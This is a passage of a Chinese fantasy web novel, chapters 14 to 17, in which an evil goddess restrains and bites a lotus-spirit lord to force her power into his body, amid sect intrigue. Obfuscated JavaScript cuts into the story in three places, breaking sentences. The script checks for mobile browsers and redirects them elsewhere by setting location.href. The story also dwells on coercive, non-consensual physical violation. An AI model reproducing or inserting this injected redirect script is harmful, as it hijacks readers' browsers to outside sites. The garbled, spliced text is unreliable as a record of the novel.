薄衫滑落,脖颈挺起,两处牙印格外明显,被舔舐走的血珠又冒出来,只那么两滴,像是红豆,点在脖颈上,与他那莲身自带的白皙肌肤对比起来,尤为明显。 本是安静得只有水声的梦境里,混入了一人急促还未平静的呼吸。 一起一伏,断断续续。 北溯眸色沉下,眼中只有冷意。 将他们身体缠住的蛇溢出点点星子,连成线,缓缓进入她在成镜脖颈上制造的伤口。 刺痛传来,成镜双手被禁锢着无法捂住脖颈,眼被遮着什么都看不见。 只能感知到不断涌入身体的某种力量,蛮狠地挤进灵脉里,驱赶他原本的力量,霸占空间,犹如引起这一切的女子一般,强硬地要他接受一切。 可是身体本就蓄满了力量,受不得外界力量入侵。 太满了,他受不住…… 14. 第 14 章 宛若银河般的星子缓慢涌进成镜身体,要将他灵脉中被封锁的力量驱逐出去,只接触到一点便受到阻力。他的灵脉在排异,自主地驱逐外来入侵的力量。 密密麻麻如被啃食的痛自脖颈逐渐向下蔓延,再怎么刻意忽视,也没法将女子带来的伤与身体的异样当做没发生过。 静谧的月光洒下,汹涌的海面下无形的蛇身将他们紧紧缠住,蛇身四散的星子与北溯身体里涌出的星子交织,一同入侵这个即将成为修复容器的身体。 但很快,北溯察觉到了不对。 要想将他炼化成自己的容器,必须将他的灵脉清空,再将鳞舞融为星子与她的灵源一同灌入他灵脉内,最后聚合到丹田中凝聚成胚胎。 但现在尽管封锁了成镜的灵脉,令他无法反抗,但他体内的力量与一般修士不同,夹带着一丝神性,比常人还要难驱逐出去,到现在也才灌输进去不到十分之一,受到的阻力还在增大,若是要强行炼化,鳞舞会溃散,她的灵源便会白费。 且她还在成镜身上发现了一个问题。 他的修为虽然达到无妄境,身体比修士强得多,但依旧承载不了她的力量。 身为邪神,她的力量比起人妖魔强悍霸道许多。还是那句话,强来,不仅鳞舞会死,他的身体也会因承受不住而崩溃。 北溯再次蹙起眉,停了星子涌入,仔细看他。 湿了的衣裳紧贴身体,他的衣裳不知什么材质,一沾水透得如纱,露出水面的胸膛看得一清二楚。 视线扫过他胸前凸起的位置,眼神平静,全无那晚在他寝殿内看到他身躯时浮现的戏谑之色。若是平日里她兴许还有些兴趣细细观赏,此刻只想弄清他身体究竟能承受多少她的力量。 翠绿的竖瞳闪过暗芒,在北溯眼中,成镜的身体内无数灵脉交错,最终汇聚到腹下,那是他丹田所在。 那里层层屏障竖起,暂时进不去。 北溯的视线顺着他的灵脉而下,无视血肉与海水阻隔,停留在他小腹位置,眉头皱得更深。 连这朵莲花都无法一下承受她的力量,那入神境修士与妖王便更不可能受得了她。 她望着那处沉思,在想要如何继续,目光停留的太久,被恢复过来的成镜察觉。 顺着她的视线看去,只一眼发觉她看的是自己何处,顿时抬手要击出灵力剜她的眼,手抬起后却无半分反应。 眼睫轻轻一眨,想起自己被封锁灵脉的同时伴随她的笑声,成镜抿了唇,垂下手,身子往水里沉了些。 “道君忘了你的灵脉已经被我锁住,一丝灵力也使不出来?” 成镜忽然平静下来,眼帘低垂,长睫阖上,投下的阴翳掩盖他的眸,叫人看不出他眼底情绪。 面上的薄红褪去,他听着她的话,面上有一瞬间的波动。似怒似恼,颇有几分恼怒成羞的意味。 他似乎思考了很久,才说了一句话:“阁下既非妖王,也非魔族,你究竟从何得知我的身份?” 北溯不想告诉他。 等她借他的身体修复好鳞舞,他们便不会再有交集。如果以后她寻仇时,他不会帮人族与昆仑的话。 “你不需要知道。”敛了眼眸,再次盯上他脖颈上的伤口,她已经知道要如何去做。 带有神性的金莲不论在哪方面都比人族修士强,身体韧度尤为强硬,只要她慢慢地,少量多次地将鳞舞和自己的灵源注入他体内,等到月圆之夜他彻底变得与常人无异时,便无法阻挡,乖乖地由着她炼化。 不过是次数多了些,她不嫌麻烦。 北溯刚要动手,神色微变,立刻飞身出海面,下一刻一朵巴掌大小的莲擦着脸颊而过。水面凝固,她落在其上,冷眸看向面前的人。 同一跃出水面的还有成镜,他不知何时解开灵脉,方才一击凝聚了他大半力量,胸膛微微起伏,气息不稳。 感知到梦境与外界对自己的束缚,意识到此刻外界的月正在转圆,若非女子的囚禁,此刻他已经在重莲殿内打坐,屏蔽外界等待月圆结束。 还被她发现弱点,被困在此处,身体里还存着她的东西。 他不适地摸了一下脖颈被咬的地方,那处比身体其余地方更热,里头两股力量对抗着,带给他近乎烧灼的感觉。 是他从未有过的感觉,向来比常人要冷一些的身体,因她而发生了前所未有的变化。 成镜重新抬眸看向眼前的女子,从她平平无奇的容貌上掠过,心知那不是她的真容,便是连他都未曾看出来这张变幻过的脸下究竟是什么样。 警惕着她的一举一动,慢慢将体内剩余灵力汇集到脖颈处,去驱赶入侵体内的力量。 灵力一碰上去,刺痛炸开,成镜闷哼一声,捂住伤口,眉宇凝滞冷霜,看着北溯的眼里杀意冷冽。 “你对我做了什么?” 北溯弯了眼眸,一步步靠近他,灵源扩散成星子,与小蛇的力量融合,缓缓涌向成镜。 “人族修士怎么炼制法器的,我就怎么对你。” 笑容收回,北溯抬步,顷刻间来到成镜面前,此刻他们都站着,看他必须要仰头。 她不喜欢。 她抬手,方要他跪下,忽然想起之前梦境中逼他跪下,他却挺着那傲骨,丝毫不退让。 好像现在就逼他跪在她面前,没什么成就感。 北溯想了想,直接抬手将他按倒,将他反抗的手摁住,低头咬住他脖颈另一侧。这一次没有留手,咬得很重。 能清晰感知到身子下他在被咬住时颤动着,身体里满是抗拒与怒意。 但他无法反抗。他的力量被削弱,无法抵抗邪神的入侵。 北溯松开口,没管他溢出的血,星子就这么钻进去,一点点地挤进他身体里。 直到感觉到他无法再承受,才断了星子。 北溯放开神识感知梦境内残留的小蛇力量,方才注入了将近五分之一,效果还不错。 她松开男人,蹲跪在他身侧,满意地替他去擦血珠,被他躲开。 北溯不甚在意地收回手,俯视这个浑身看起来糟糕透了的男人,轻声道:“在被我炼化完成前,你便待在这。” 她站起身,转身朝着那无尽的黑暗中走去。 忽地她又扭头,眸中带着笑意看向男人:“对了,不要浪费灵力去做无谓的挣扎,你这朵莲花,要是枯萎了,那该多可惜。” 成镜静默片刻,直起身,慢慢地理好衣衫,刚要施法将身上水汽烘干,衣衫与法先一步干了。 施法的动作一顿,他低垂的眼看不出情绪,却抬手摁住脖颈伤口,力道一点点加重,指节泛白,许久之后才松开。 他看不到的地方,脖颈被自己按住的位置留下鲜红指印。 掩耳盗铃般地用自己的指印盖住伤口,似乎这样就能忽视她带来的屈辱。 莲台浮现,他忽视着伤口的灼热刺痛,坐上去,盘腿打坐,打斗中散了发垂下,他抬手理了理,一起撩到脑后,刚垂了脑袋,发丝又滑落到胸前。 成镜看着这不顺从主人意思的发,喉结滚动,闭眼不再看。 点点灵气自莲台散发出来,在他周身萦绕。 只要渡过月圆之夜,力量便会恢复。 只要耐心等待,总有机会挣脱。 梦境中是紧静谧的,梦境外是冷寂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860753|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 北溯睁开眼,立刻去看脚边的小蛇,它的尾巴缺了一块,几乎看不见它的身体,向来会在她醒来前睁开的眼,此刻紧闭着。 “你睡着了?” 小蛇没有回答她。 北溯摸了摸它脑袋,轻声说:“好好睡吧。” 她躺回去,闭上眼,等待天亮。 北溯是被吵醒的,睁开的眼带着戾气看向窗外,凉亭那站着一人,声音焦急:“道君,出大事了!外出游寻的弟子来报,魔族入侵几个小宗杀修士取灵源,意图破坏封印唤醒邪神!” 北溯没出去,转头去看脚边的小蛇,见着它外散的力量已经凝回去,稍稍放了心。 昨晚她将小蛇溢出的力量注入到成镜体内,该是起了作用,与成镜产生了联系,借他的身体储存,不怕消散。 弯了弯眼眸,北溯点了一下它脑袋,哼声道:“真是不省心。” 外头又传来那人急迫的喊声,听到重复的唤醒邪神的字眼,瞧了眼自己,觉得好笑。 她这个邪神已经在他们道君寝殿里,还睡了一晚,那群魔要破谁的封印? 这世间还有第二个邪神不成? 北溯起身,下床时身形变幻,额间印上莲花,走出寝殿,破开禁阵,来到凉亭。 “他”的身影一出现,那人喜极而泣,立即道:“请道君即刻前去吞云殿,宗主与诸位长老在等您商讨如何应对此事。” 北溯睨他一眼,抬脚往前。 那人跟在她身后,继续说:“本该是由陆执事来告知您,但昨晚她为处理一名入魔的弟子受了重伤,无法来此,便由弟子代为转告。” 北溯来了兴趣:“入魔的弟子现在如何了?” 那人愣了,以为道君会先问陆执事,怎么问起伤人的那名弟子? 他如实告知:“陆执事被那弟子伤到灵脉,怕是修为无法再精进。那名入魔的弟子按照宗规被关入镇魔塔,待他斩除心魔便会被放出来。” 说完却没得到回复,那人讪讪想,以后自己还是少说点。 拨开云雾,吞云殿内四人端坐,瞧见那道身影,三位长老齐齐起身,扶额行礼。 北溯被他们目送着坐上属于成镜的位置,方坐下,首位女子开口询问:“昨晚你殿里的执事出事,你可有发现异动?” 北溯照着成镜那副冷漠的样子,吐出四个字:“未曾发现。” 天綪只看着她,忽然道:“再有几月便是你渡劫飞升之日,若无法突破入神境,本座可助你一臂之力。” 三位长老诧异,此次请道君来,不是来商议要如何阻止魔族解开邪神封印吗?怎的宗主却说起了道君修炼? 北溯抬首,微微仰头看她。 还真是不习惯仰视别人。 “不必。” 两次说起渡劫,天綪这么着急让成镜飞升? 飞升是什么好饼,是个人都想来尝一口? 不过成镜已经达到入神境了么?看来是这几日他被削弱得太厉害,实力下降到无妄境了。 “那便好。”天綪移开凝视北溯的眼,看向另外三名长老,道:“昆仑仙人已经在路上,此次前来,不仅是为帮道君顺利度过天劫,也有除邪神的任务,魔族不会得逞。” 说着,她转头看向北溯,道:“届时就请道君帮忙协助昆仑仙人,除了祸害三界的邪神。” 三位长老当即起身,齐齐朝“成镜”行礼,“劳烦道君。” 北溯扫视这三人,最后停留在天綪身上,看着她波澜不惊的脸,缓缓地应了声好。 三百多年了,还想杀她啊。 这群人怎么就忘不了她呢。 15. 第 15 章 “已有两名三阳境执事前往那小宗查看伤亡情况,一位供奉前去追踪,尽可能在魔族将灵源带去解开封印前拦截住。” 天綪道:“待供奉将消息传回宗,你等便先去查看邪神封印是否松动,届时待昆仑仙人到来,一并前往除邪神。” “既然宗主都安排好了,我等照做便是。” 墨九歌笑笑,正要说话,一瞥“成镜”,立刻收了笑,正色道:“有道君在,想必不会出差错,届时道君若有需要,直接唤我们,我们定及时赶来。” 北溯扫他一眼,心道那可不一定,成镜不会出差错,她只会捣乱。 “你们先退下。”天綪声音淡漠,未曾看三人,视线一直落在“成镜”身上。 北溯方起身,只听天綪一句:“道君请留下。” 三人一愣,了然,宗主这是要与道君详细商议除邪神的事,纷纷离开。 北溯回坐,又听天綪说起飞升。 “我知你近些日会有不适,若是有问题,定要与我说,待昆仑仙人来,你度过这几日,要加快修炼,做好充分准备迎接天劫。” 她说话的语调很平,话里话外都是飞升,北溯听着觉得厌烦。金莲飞升成仙有什么用,成为金莲仙吗? 天綪知道成镜临近月圆会有问题,却没说修为会削弱,她是知成镜的真身是金莲,还是仅仅了解成镜这一异常? 若是前者,天綪这么催着莲花飞升,很有问题。加上昆仑那边来人,那就更古怪。 这年头飞升,也要昆仑那群糟老头子来助力?不过三百年过去,如今的修士已经弱成这样? 方才天綪还说起再有几月便是成镜渡劫之日,他们测算得这么准,这么有把握成镜能在几月内突破入神境? 北溯缓缓看向天綪,那张在旁人眼中冷冽俊逸的脸未见有什么表情,薄唇轻启,问:“他们何时来?” 这才是她最关心的。 那群老不死的来定然没好事,她要彻底炼化成镜加上成功修复好鳞舞至少也得一月时间,这期间昆仑的人再来捣乱,必定要出事。 要修复鳞舞,只能将它的灵源全都注入到成镜体内,这样便会致使她与鳞舞的契约损毁,且为确保万无一失,她必须分出部分灵源供给鳞舞,修为因此削弱,待鳞舞完全从她身体里剥离出去,她的修为必然不及现在一半。 这个时候再被昆仑的人发现,他们若是带了弑神武,怕是很难全身而退。 在被发现前,她必须带走成镜。 天綪眸色深深,直直盯着“成镜”,“月圆那日便会抵达。” “两日后吗……”北溯做了决定,那便在两日后动手,直接带走成镜。 她正想着要带成镜回妖界还是另找处地方,天綪忽而道:“那名犯事的弟子你可解决了?” 北溯不耐,她确信天綪未发现自己身份,想要她死不过是怀疑她身份有疑,干脆解决了以绝后患。不过几次提起一个打杂弟子,天綪应该不止是因为这个。 她以裴云霄的身份只见过一次天綪,还是那日在吞云殿,只这么短暂功夫,天綪能看出什么? “还未处理。”不等天綪再说,她直接道:“重莲殿已经死了一名女弟子,再处死一名,便无人伺候。” 这似乎是成镜会说的话。 天綪却摇头,视线一直在“他”身上,顿了片刻,才附和一声:“确实如此,那弟子在你重莲殿待了三个月,再换人,许是没有她熟悉莲池。” 这三个月北溯与珩玲一直都在照看莲池,除污渍,清理枯萎烂掉的荷叶。 天綪这么说,实属在讽刺,这活谁不能干? “宗主若是无事,我先走了。” 北溯说完起身便走,直至即将走出殿门时,天綪足以响彻整个吞云殿的声音响起:“近些日不大太平,道君若是感知到异样,定要报于我。” 北溯没有应声,直接离开。 她被怀疑了。 并不清楚自己哪里露馅。 成镜与天綪是如何相处的她并不知道,但她的伪装术除非修为在她之上,无人可识破。再者这位道君鲜少露面,她来了莲池三个月都没见他出来过,熟知他性子的人甚少,三位长老都未曾看出来。 要么是她与天綪对话时,某些细节有偏差,引起天綪怀疑。 现在天綪还不敢正面试探,只是有所怀疑。目前占优势的是她,只怕昆仑的人一来,天綪便会动手。 她必须提前带走成镜。 回去路上碰见星峦,他朝她行了礼,匆匆道:“道君这是要回重莲殿?” 北溯嗯了一声,错开他,走了几步停住,问:“昨夜有个入魔的弟子——” 星峦立刻道:“道君问的可是珩断?”他心中诧异,不知道君怎么关心起他的弟子了,旋即一想,那弟子是道君那一名侍奉女弟子的兄长,许是因为这个来关心关心。 “道君不用担心,那弟子已经被关押进镇魔塔,定期会有执事去帮塔内弟子压制心魔,待他除去心魔,便会回归原位。” 但是个修士都知道,要除心魔,谈何容易。 北溯没说话,抬步离开。 星峦看着“他”的背影欲言又止,那日已经与道君说过那女弟子被拖进裂缝,此刻她兄长还因此入魔,这对兄妹,着实福薄。 北溯踏入莲池时,站在田埂,眺望远方。 池塘内莲花依旧盛开,远山云雾缭绕,一切看着平静而安宁。 她静静凝视许久,继续向前。 禁阵开启,北溯踏上水栈,容貌变换,垂下的发丝挽起,足上生出鞋履。 虽然控制着与成镜那般稍稍悬浮,还是喜欢这种脚踏实地的感觉,叫她觉得自己还活着。 一步步走在栈道上,北溯低着头,看着水中自己的倒影,那张她用了三个月的脸。 好似许久没有露出真容,睡了三百年,都快忘了自己长什么样。 止住脚,蹲下来仔细看水面浮现的那张脸,很普通。她伸手摸了摸自己的眼睛,弯了弯眸,又做出愤怒的表情,只一瞬便收了表情,随后起身,脸上瞧不出心底情绪。 昆仑,她必会去。 三百年前的仇,她要报。 寝殿门开启,一道身影悄然无声地进入,床上的小蛇还在昏睡。 北溯凝出星子,喂给它。 凝神看了它许久,才瞧见它睁开眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860754|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小蛇眨了眨眼,没什么精神,但看见北溯,立刻要往她肩膀上攀,声音比平常低了些:“北北,我睡着了吗?” “嗯。”北溯主动伸手托起它,朝它缺了一块的尾巴看去:“你尾巴没了。” 小蛇顿时白了脸,立刻看向自己尾巴,尾巴尖断了一截,好难看! “呜呜呜北北我被吃掉尾巴了,我会不会死啊呜呜呜。” 北溯哼笑:“会死。” 小蛇瞬间缠上她的手,缠紧了不放:“北北你快救我!我不想死!” 北溯沉默着看它,小蛇似乎意识到她的异样,小心翼翼问:“北北,你不高兴吗?” “我在想,这次你该吸取教训,不会再把我的话当耳旁风了?” 小蛇顿时明白她指的是什么,开始卖惨:“那我也是怕北北你出事嘛,再说了我现在不好好的嘛?” 小蛇扭了两下,一看到自己缺了的尾巴,焉了,不开心,它不完整了呜呜呜。 “等你身体没了一半,我看你还会不会像现在这样嘴硬。” 北溯是故意逗它,鳞舞一直都是能量体,缺的尾巴化为星子被她灌进成镜身体里,等全都灌进去,小蛇便彻底存于成镜体内,静待孕养重塑。 “不是还有莲花在嘛,我应该没事的吧……”小蛇的底气不足,声音越说越低。 北溯没回它,抬头看向窗外。 “等夜晚降临,再去试第二次。” 小蛇咦了一声,慢一拍地明白她话里意思,震惊道:“北北你开始了?” 听到她嗯了一声,小蛇音量拔高:“北北你怎么不带我一个!我也要看莲花被炼化!北北你怎么炼化的?” 北溯回想昨晚炼化过程,那应该算不上炼化,只是先将小蛇的能量注入进去,还未开启炼化的步骤。 只有等全部注入,才可炼化他。 不过不管是注入能量还是炼化,都不该是鳞舞能看的。 “小孩子不要看这些。” 她又凝了颗星子塞进小蛇嘴里,不听它念叨着不能再分出灵源,倒头躺下。 小蛇唤了几声,见她没反应,爬到她脖颈处团好,蹭了蹭她下巴,打了个哈欠,跟着闭上眼。 寝殿内寂静无声,帷幔随风飘扬。 此刻在梦境中打坐的人忽然睁开眼,眼前圆月碎裂,周围变幻,但仍旧漆黑。 一声急促呼喊打破黑暗。 “北北,出事了!” 意识到又是幻境,兴许还是那女子的过往,成镜凝神去感知,或许能从这幻境中找到她的破绽。 随后那声音又起,这次听得清楚了些,说话的人像是稚童。 “月神,月神他要堕神了!” 那声音好似在耳畔响起,“月神”这二字他听得极为清晰,他正在记忆中搜寻世间是否有月神时,胸口骤然抽痛。 不同于武器刺入身体带来的痛,那是听到噩耗时内心悲恸到极点引起的痛,像是被一只手紧紧捏住心脏,呼吸不过来。 成镜至今未曾弄清楚,为何一个幻境,他会被禁锢在那人身体里,感知她遭遇的痛。 尤其是现在,她痛得,生出了死意。 16. 第 16 章 “北北,你现在就要去找月神吗?” 她的名字,是北北吗? 视线一转,成镜看到一条漆黑的蛇盘在肩头,当即联想到上次幻境里那只黑蟒,它对身体主人很亲昵,应当是她的灵宠。 依旧不知她说了什么,只能听见黑蛇在说,以此来推断她对黑蛇说的话。 她要去找月神。 “可是北北你现在不能去,月神堕神就是为了保护你们,你去了,那群人不就得逞了?” 黑蛇焦急劝阻,成镜看到周围飞速掠过的景象,她没停,几乎一个瞬移术刚结束便接着继续施展,很显然,这位“月神”对于她很重要。 几次回想,脑海中并未有关月神的任何信息。 从他诞生到如今三百年时间,这世间从未有任何关于神的信息,也未曾有过一名修士飞升,昆仑出山次数屈指可数。 那么这段过往,是在他未诞生的三百年前。 突兀响起的惊呼打断他的思绪,视线骤然拔高,黑蛇托起她的身体,粗壮尾巴横扫,周围草木顿时断裂,紧接着几声怒喝闯入耳中。 “妖孽,你往哪跑!” 成镜的精神与身体主人连接,感知到她只匆匆甩出几道咒术,又一次施展瞬移术。 他没看清追捕她的人是谁,只听黑蛇在说:“北北,他们追着不放,你先去找月神,我对付他们。” 直至此刻成镜意识到一个问题,现实中几次遇见她,都未曾看到这条黑蛇,这条蛇已经不在了,还是因为,她接近他的目的,便是…… “这样下去我们会被困住,北北,我们必须兵分两路!” 成镜能感觉到她的怒意,她不允许这条蛇与她分开,随后视线回转,终于看清追捕她的人。 一看到那几人,成镜心中生出几分疑惑。 他在这群人身上看到了昆仑的标志,额间的山形印记,曾经天綪去昆仑请昆仑镜时,他虽是不在,但从她口中得到这个信息。 凡是昆仑之人,额间必会印下山形印记,以此被昆仑之力约束,不得做出危害人间之事。同时也可借用这印记向昆仑借力。 成镜静静看着,这几人必定会借昆仑之力围困她,她怕是难以逃脱。 下一刻磅礴仙力自那些人身上溢出,几人四散开来,围困她四方,抬手结印。 “北北,动手!” 随着这声话响,身子晃动,眼前只瞧见漆黑鳞片,视线陡然拔高,有什么东西崩开碎裂的声音响起,被淹没在随之而来的混乱中。 成镜不知该怎么形容这种感觉,像是身体膨胀,皮肤被撑开,意识清醒地能感觉到身体在变化,视线不断拔高,甚至那几人在眼中变得与地面草叶一般大小。 身子歪斜,巨力扫出,撞击感从下半边身子传至神经,那种感觉像是在用下半身横扫地面,通过身体蛮力撞击。他的双腿受到同样的撞击感,被动地承受她攻击时受到的伤痛。 她果然是妖。 成镜在思考妖族中有哪些是用下半身攻击的,鱼?还是什么? 他的思绪再次被打断,那几人在呵斥:“妖孽,你若还不束手就擒,我等便替三界枉死的生灵灭了你!” 那道稚童声不再有,也不知身体主人说了什么,那几人的声音明显变得恼怒了几分:“那你便与背叛三界的堕神,一起去死。” “残害三界,便是神,也要被判罪!” 这句话一出,胸口刺痛。 这是第二次感知到她几近痛得要死去,更加疑惑他们做了什么,会被昆仑追杀。 眼前一阵天翻地覆,成镜几乎看不清周围,他的视觉与她相连,此刻她的情况显然不妙。 慢慢地她体力不支,反应慢下来,余光瞥见攻击过来的人,她被另一人牵制着,躲不开。 身体血肉带来的痛刺激大脑,成镜尚可忍受,心头却微妙颤动,他不清楚这是身体主人的反应,还是自己看到她被围攻产生的。 意识到这一变化,成镜敛神,尽力将自己与她分离,如旁观者一般冷静地去分析眼前发生的一切,找出她的破绽。 她极为看重月神,如若他能得知月神如今在何处,兴许可以向引月神出来,以此摆脱她。 这个念头刚起,浑身骤痛。 即便他再能忍,也无法控制自己因这痛而颤抖。 生生剥开皮肤,被刀片下血肉,最后逼近骨头,在骨上狠狠刮过,像是用斧头削木头,一片片地掉,清晰地感知到血流出去,流淌在皮肤上,起初温热,很快凉了。 成镜从不知,昆仑仙人还有如此折磨人的手段。以为只是用阵法困住她,没想到直接动手,要杀了她。 眼前闪过女子在他面前那副惬意随性的模样,这一刻几乎难以将两者联系在一起。 她是如何挣脱围捕,活到现在的? 视线骤降,坠落在地,胸口闷疼。 身体在缩小,再次听到那个稚童声音:“北北,你快跑,去找月神!” 声音极为焦急,它贴了过来,成镜看到它那双含着水雾的翠绿色妖瞳,纯粹得如同绿宝石。 随着精神上的痛感,能判断出她受了重伤,与此同时天罗地网压下来,那条黑蛇膨胀身形,为她挡下。 成镜宛如在看留影石放映出来的画面,那条黑蛇挡在她身前,义无反顾得挡下昆仑几人的合力一击。 黑蛇受下那一击的同时,成镜只感觉到大脑如遭重击,眩晕沉重,伴随着刺痛,令人想重重捶打脑袋甚至直接死去。 那条黑蛇果然是她的灵宠,灵宠被重创,她受到反噬。 此刻这一妖一灵宠,看起来已经无生还的机会。 成镜忍耐着痛感,等待转机。 她不会死在这里。 许是他猜想被聆听到,不过片刻,苍穹风起云涌,惊雷炸响。 那几人对视一眼,分出一人看守她,其余人正面迎上突然变了的天。 白日骤然黑沉,一道划破天际的闪电掠过苍穹,周遭空气凝滞,时间似乎停止,那几人身形不动。 眨眼的一瞬间,苍穹之上一道身影闪现,随之而来的,是点亮黑暗的电光。 那人一身洁白衣衫,发丝倾落,眉间一道黑色月牙印,即便堕神,身上依旧看不出一丝魔性,他立在苍穹中,俯视地面,眸中无悲无喜。 看到那道身影的同时,她的情绪立刻激动,开始挣扎。 成镜意识到那就是她一直担心的月神,通过她的视线仔细看,确信自己从未见过那人。 情况突变,那几人飞身攻上去,阵法瞬开。 看清那是以献祭灵魂为代价的弑神阵后,成镜心头一颤,这阵只在三百年封印那邪神时出现过一次,三百年前他们便已经用弑神阵弑神了? 她已经无法挣脱束缚,只能眼睁睁看着那几人围攻堕神。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860755|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 成镜无法形容她此刻的情绪,太复杂,他从未在人身上感受到如此复杂的情感。 非要说出来,大概是悲恸压住了其余情感。 他以她的视角,看到堕神是如何被绞杀死。 昆仑有弑神之法,但无法摧毁神格。 他们以献祭灵魂,燃烧灵源为代价,杀死了这位堕神。 苍穹缓缓放亮,那道白色身影坠落,缓缓消散,而他的神格如同灿烂星辰,涌入她的身体。 暖流充盈身体,一股力量涌出,修复她千疮百孔的身体,但没法抹去她此刻到极点的悲戚。 成镜听到一声惊恐的叫喊:“不可能的,神格怎么可能随随便便认可一只来继承?” “妖孽,你果然是祸害,居然迷惑得了月神,夺了他的神格!” 成镜看得清楚,是那堕神消散之际,坚守意志将神格赠与她,并非她夺取。 “你不配为神,你是邪祟——” 这一句话如同重锤,狠狠敲下。 成镜想起自己诞生之初,被天綪告知的那段三界差点被毁灭的过往。 曾有名邪神,肆虐人界,摧毁昆仑,涂炭三界生灵,昆仑与人族联手与其战了七日,最终以十三位仙人陨落为代价,将其封印于黑水之中。 如此,那位邪神,便是她—— “你该看够了?” 突兀的女声响起,成镜抬眸朝声音响起的方向看去,周围场景如潮水般褪散,眼前只有一袭白衣的女子。 那是道宗外门弟子统一服饰,款式简单,穿在她身上,透着常人无法拥有的大气。 成镜忽然觉得脖颈那处被她制造的伤口隐隐作痛,那股湿滑柔软的感觉似乎还停留在那处。 眉头紧锁,他戒备地看着她一步步走来,心知此刻她若是要对自己做什么,他全然无法反抗。 邪祟被封印时,他不在,是以她的弱点,他不知。 再次看到她周身萦绕的星子,身子绷紧,脑中的弦紧绷,唇刚张开,眼前的身影瞬间逼近。 北溯盯着他已经没什么痕迹的脖颈,勾唇道:“恢复得这么快。” 成镜滚动喉咙,方要说话,被她再次捂住双眼。 那一刻心脏骤停。 他想起了昨晚,这个女子是如何将自己按倒,在身上做那等侮辱他的事。 她说的那句话极为清晰地在脑海中浮现。 她要他孕育她的子嗣。 他怎么能为她孕育子嗣? 他怎么可以? 成镜当即动手,积攒的灵力凝出莲花,拍击在她手背上,成功定住她,立刻后退数步。 越接近月圆之夜,他的力量越弱,如今只能施展一次定身术。 若如能将她一直定下去,直到月圆结束,他便可恢复力量,脱离幻境。 成镜知道这不可能,邪神再弱,也不可能挣不脱他的法术。 心中刚这么想,脚下凝结的水面骤然化开。 刚坠入水中,双手被什么东西绞住,阴湿森冷,熟悉的感觉窜上神经,如同被恶鬼盯上。 他听到了恶鬼的声音。 “要开始了哟。” 无形的蛇身缠住他的身体,拉近他。 北溯挑起他的下巴,在水下看到他眼中闪过的错愕,不等他准备好,一口咬了上去。 一声闷哼随着水流荡开。 “唔——” 17. 第 17 章 星子涌进去的一瞬间,熟悉的刺痛与烧灼感并发,脖颈处如同被火烧灼,皮肤滚烫。 成镜不知道那是什么东西,无法排出体内,也无法阻止,这股力量还要占据他的身体。 先前被她弄的第一次,自她离开后身体并无变化,但脖颈处的伤实打实存在,身体传来的刺痛并非作假。 但他仍旧不清楚她在做什么。 这样不由分说地上来就咬他的脖颈,还将力量注入他体内,身为邪神,有什么是她不能解决的,要用他的身体来孕育她的子嗣? 她如何能叫他孕育上—— 冷声响起:“专心。” 这一声不带任何情绪的两个字,令他再次感觉到被人肆意摆弄的屈辱。 成镜还欲要凝聚灵力定住她,被北溯察觉到,阴湿的蛇尾绞住他的手腕,反剪到背后。 她一手掐住他脖颈,稍一用力,在水下待得太久,没有灵力保护,他再能屏气,也被北溯这一动作逼迫得张开了口,水轻柔地拂过他的唇,却猛烈地灌进去,汹涌得想要将他吞噬。 北溯没有松手,只这么看着他。 他依旧那身薄衫,一沾水,里头看得一清二楚。黑发在他身侧飘荡,如同海藻,遮盖锁骨。 再往下,轻盈衣衫遮盖他被呛到后起伏的胸膛。 北溯眯起眼,只扫了一眼,收回视线,对上他的双眼,看清他泛红眼中的愠怒,夹着几分茫然,不知道自己为何被盯上,也不知道自己接下来还会遭遇怎样的折磨。 这样的眼神,她很喜欢。 唔…… 但是还不够。 北溯松开手,稍稍往后退,束缚他的蛇尾松开。不过片刻,他回过神,只瞥了她一眼,浮出水面。 在他未曾注意到的水底,一道巨大长形阴影闪过。 北溯潜在水底,看着他轻盈上浮,眸色缓缓转深,与这深不见底的海水一般,看不出情绪。 似乎这两次渡入星子,他都没什么太过的反应,除开瞪她几眼,再徒劳挣扎几下,便由着她来。 堂堂道君,这么好欺负? 怎么就不挣扎,不绝望,不自爆来威胁她放过他呢? 先前只听珩玲说起过,这位道君性子淡,鲜少露面,离开重莲殿的次数屈指可数。 那么这朵莲花三百年来,只顾着修炼飞升? 方才梦境中的回忆再度浮现,“飞升”二字,她现在听不得,也想不得。 当年若非人族修士追求飞升,妖族也不会遇劫难,月神也不会死。 北溯垂了眸,放任自己下沉。那不见底的深海漆黑,犹如一张大口,将她吞入。 成镜方浮出水面,脖颈刺痛,伸手一摸,手指被咬了一口似的,溢出血来。 